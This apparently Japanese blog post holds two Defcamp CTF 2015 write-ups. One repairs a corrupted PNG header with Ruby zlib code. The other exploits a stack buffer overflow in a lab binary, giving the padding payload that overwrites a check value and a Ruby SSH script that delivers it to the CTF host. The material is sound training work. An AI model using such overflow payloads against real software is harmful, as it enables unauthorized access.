Defcamp CTF Qualification 2015

Defcamp CTF Qualification 2015 writeup She said it doesn't matter (Misc 100)

Void. Empty. Null. Downoad

This challenge does not have a specific flag format.
PNG画像のようですが表示することができません。バイナリエディタで確認してみると、"89 50 4E 47"で始まっていますので、PNGフォーマットで間違いなさそうです。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52   臼NG........IHDR
 00000010  00 00 02 9A 00 00 02 07 08 06 00 00 00 35 46 89   .............5F.
 00000020  13 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61   .....gAMA..ア..��
PNGファイルシグネチャは必ず"89 50 4E 47 0D 0A 1A 0A"ですので間違いありません。IHDRチャンクを見てみましょう。
オフセットサイズ名称内容
0x00004Length00 00 00 0D
0x00044Chunk Type49 48 44 52(IHDR)
0x00084画像の幅
00 00 02 9A(666)
0x000C4画像の高さ
00 00 02 07(519)
0x00101ビット深度
08
0x00111カラータイプ
06
0x00121圧縮手法
00
0x00131フィルタ手法
00
0x00141インターレース手法
00
0x00154CRC35 46 89 13
Lengthからインターレース手法までは特に問題ないようです。CRCが正しいかどうか見てみましょう。下記のRubyコードでCRCを計算してチャンクデータを生成することができます。
# coding: UTF-8
require "zlib"

width, height = 666, 519
depth, color_type = 8, 6

# チャンクのバイト列生成関数
def chunk(type, data)
  [data.bytesize, type, data, Zlib.crc32(type + data)].pack("NA4A*N")
end

File.open("test_a.dat", "w") do |io|
  io.binmode
  io.write chunk("IHDR", [width, height, depth, color_type, 0, 0, 0].pack("NNCCCCC"))
end
これで計算してみると、CRCは"3F F4 FC 62"になります。CRCが誤っているようですので、該当箇所を修正して表示してみますが、まだ表示できません。次に怪しいのは画像の幅、高さですかね。

画像の幅、高さが合っているかIDATチャンクを展開して確認してみましょう。IDATデータはdeflate圧縮されていますので、次のRubyコードでIDATデータ部分のみ展開して別ファイルに保存します。
# coding: UTF-8
require "zlib"

File.open("m100.png", "r") do |io|
  io.binmode
  io.seek(0x73, IO::SEEK_SET)
  File.open("test_b.dat", "w") do |io2|
    io2.binmode
    io2.write Zlib::Inflate.inflate(io.read(0xfdf2))
  end
end
PNGのデータは1ラインごとに先頭に圧縮タイプを表すFilter Typeが設定されています。このFilter Typeの間隔を数えれば画像の幅が分かります。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF   ................
 00000010  FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF   ................
Filter Typeについては以下のサイトが分かりやすいです。
http://hoshi-sano.hatenablog.com/entry/2013/08/18/113434

Filter Typeを調べると、アドレス0000、0a71(=2673)、14e2(=5346)、・・・の位置に出現します。ということで、画像の幅は2672(=0a70)バイトであることが分かります。画像データサイズが1472823バイトなので、画像の高さは1472823÷2673=551(=0227)バイトになります。

画像の幅、高さが分かりましたので、IHDRチャンクを修復してみましょう。
1バイトを画像の1ピクセルと仮定して、ビット深度8ビット、カラータイプ0(グレースケール)でIHDRチャンクを生成します。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52   臼NG........IHDR
 00000010  00 00 0A 70 00 00 02 27 08 00 00 00 00 87 30 DA   ...p...'......0レ
 00000020  75 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61   u....gAMA..ア..��
赤字の箇所が修正した箇所になります。
修正した画像ファイルを表示すると、下図のとおり表示されました。
m100_3

したがって、フラグは、
Flag:s1z3_d03s_ma773r_baby
です。

LHAとZIP―圧縮アルゴリズム×プログラミング入門
山崎 敏
ソフトバンククリエイティブ
2003-12


Defcamp CTF Qualification 2015 writeup Password encrypting tool (Exploit 100)

Our second newest programmer created a tool so that we can encrypt our usual passwords and use more secure ones wherever we register new accounts. He said that he left some sort of an easter egg that could leverage you, but he doesn't really expect anyone to get it. You are the newest programmer, can you find it and prove him you are the one?

Hack the target when you've figured out with this file.

Target: dctf@10.13.37.6:22
Key
与えられたバイナリを実行すると、"Enter password:"とプロンプトが表示されます。適当にパスワードを入力すると、"Your new secure password is:"と表示され、そのあとに入力内容に応じて何らかの値が出力されます。
# ./e100
Enter password: abcdefg
Your new secure password is: �������
IDA Pro Freeで該当箇所を見てみましょう。レジスタEBPから-2Ch(-44バイト)のアドレス位置に"Enter password:"で入力した内容が格納され、レジスタEBPから+8(バイト)の位置から、「BADB0169h」と比較して条件分岐しています。一致すれば、"cat flag"のコマンドが実行されてフラグが表示されると思われます。

no title

下図は、edb-debuggerでステップ実行したときのスクリーンショットです。ちょうど比較のところで止めています。
1

さらに下図は、メモリの状態です。bfde:a5acのところから入力した文字列(abcdefg)が格納されています。比較対象となるアドレスは44+8バイト先の部分ですので、この図ではbfde:a5e0の部分(da da da da)になります。この部分に「69 01 db ba」を格納すれば良いと思われます。
2

入力データの52バイトまではダミーで、53バイト目から「69 01 db ba」を設定します。最後は改行で終わります。これをtest.datというファイル名で保存します。
 ADDRESS   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
------------------------------------------------------------------------------
 00000000  61 62 63 64 65 66 67 68 00 00 00 00 00 00 00 00   abcdefgh........
 00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
 00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
 00000030  00 00 00 00 69 01 DB BA 0A                        ....i.ۺ.       
Rubyで次のようなプログラムを書きます。最初にSSHで指定されたサーバに接続し、"Enter password:"の入力プロンプトが来たら、上で作成したtest.datの内容を送信します。
require 'rubygems'
require 'net/ssh'
 
Net::SSH.start('10.13.37.6', 'dctf', :keys => ['id_rsa_e100.txt']) do |ssh|
    command = "\n"
    channel = ssh.open_channel do |ch|
      channel.request_pty do |ch, success|
        raise "Could not obtain pty " if !success
      end
      channel.exec command do |ch, success|
        raise "failed to execute command" unless success
        ch.on_data do |c, data|
          if data =~ /password/ then #入力ダイアログが来たら
            pass = "1234567890\n"
            File.open('test.dat', 'r') do |io|
              io.binmode
              pass = io.read
            end
            channel.send_data pass #パスワードを送信する
          end
          puts data
        end
      end
    end
    ssh.loop#転送待ち
end
その結果が下記になります。見事フラグが表示されました。
ruby.exe: warning: -K is specified; it is for 1.8 compatibility and may cause odd behavior
aaaa.rb:7: warning: shadowing outer local variable - ch
aaaa.rb:10: warning: shadowing outer local variable - ch
Enter password:
abcdefgh^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@i^Aۺ

DCTF{3671bacdb5ea5bc26982df7da6de196e}

*** stack smashing detected ***: /home/dctf/e100 terminated
フラグは、
DCTF{3671bacdb5ea5bc26982df7da6de196e}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー